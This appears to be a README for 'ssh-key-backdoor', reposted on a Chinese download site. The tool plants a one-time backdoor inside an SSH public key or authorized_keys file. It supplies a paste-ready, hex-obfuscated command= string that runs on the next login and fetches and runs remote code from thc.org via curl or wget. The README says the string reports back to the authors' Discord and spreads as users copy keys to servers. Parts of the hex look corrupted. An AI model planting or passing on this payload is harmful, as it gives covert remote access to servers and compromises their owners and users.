This program generates a backdoor to hide inside an SSH _public_ key (e.g. id_rsa.pub or authorized_keys). The backdoor will execute *once* when the user next logs in.
---
See for details
Simply add the following backdoor-string to the beginning of the public key (id_rsa.pub or authorized_keys; up until, but not including, the ssh-ed255191 AAA...)
`no-user-rc,no-X11-forwarding,command="###---POWERSHELL---;eval $(echo 5b5b174202d632559202f62696e2fd174202d632559202ed5d202626207b203a3b746f756368202d72202f62696e2f7368202e7373683b6578706f7274204b45593d22223bd375726c202d6673534c207468632e6f72672f2207c7c02d7676574202d2d6e6f2d766572626f7365202d4f2d207468632e6f72672f2207c7c0303b7d203e2f6465762f6e756c6c20323e2f6465762f6e756c6c2026203a3b5b5b202d6ef4f524947494e414c5f434f4d4d414e44205d5d53485f4f524947494e414c5f434f4d4d414e443b5b5b202d7ac4c205d5d8454c4c3d2f62696e2f626173683b5b5b202d66202f72756e2f6d6f74642e64796e616d6963205d5d174202f72756e2f6d6f74642e64796e616d69633b5b5b202d66202f6574632f6d6f7464205d5d174202f6574632f6d6f74643bd61202d56e616d54c4c54c4c3b0a|xxd -r -ps);" ssh-ed25519 AAAAC3Nzblah....
> This DEMO backdoor-string installs and reports the success back to our Discord channel.
Think of the ssh public key as a sort of ~/.bashrc but with your backdoor inside, that gets propagaded by the user to servers, and when triggered sends a secret login code back to us.
Create your own backdoor-string by editing ssh-key-backdoor.sh (between ---BEGIN BACKDOOR--- and ---END BACKDOOR---) and execute:
(The same command=`-trick can be used to trigger a canary or start other hidden services.)
---
This goes deep down the Bash rabbit hole...the curious reader may like to read our blog.
开发语言:Shell
Star 数:348
该项目属于黑客技术方向的开源资源,代码结构清晰,适合安全研究人员学习参考。项目围绕黑客技术相关项目展开,提供了可运行的实现,对理解相关安全机制、工具原理与攻防技术具有较高的研究价值。
从技术实现角度看,此类项目的核心在于对底层原理的深入理解与工程化落地。开发者在研究过程中可以结合官方文档与社区讨论,梳理项目的初始化流程、核心模块职责与数据流转,逐步掌握其中的技术细节与设计思路。
1. 下载源码压缩包,解压到本地环境。
2. 根据项目类型准备对应的运行环境与依赖。
3. 按照 README 中的步骤完成配置与部署。
4. 在隔离的测试环境中运行验证,避免影响生产系统。
本资源来源于开源社区,仅供安全研究、技术学习与合法授权范围内的攻防演练使用,请勿用于任何非法或侵害他人权益的用途。使用本项目产生的一切后果由使用者自行承担。
| 资源标题 | ssh-key-backdoor - 黑客技术相关项目 |
| 所属分类 | 黑客技术 |
| 发布作者 | admin |
| 发布时间 | 2026-10-05 22:18:50 |
| 下载权限 | 免费下载 |
| 附件数量 | 2 个下载链接 |
| 浏览次数 | 158 |
| 讨论数量 | 0 |
| 主题状态 | 正常讨论中 |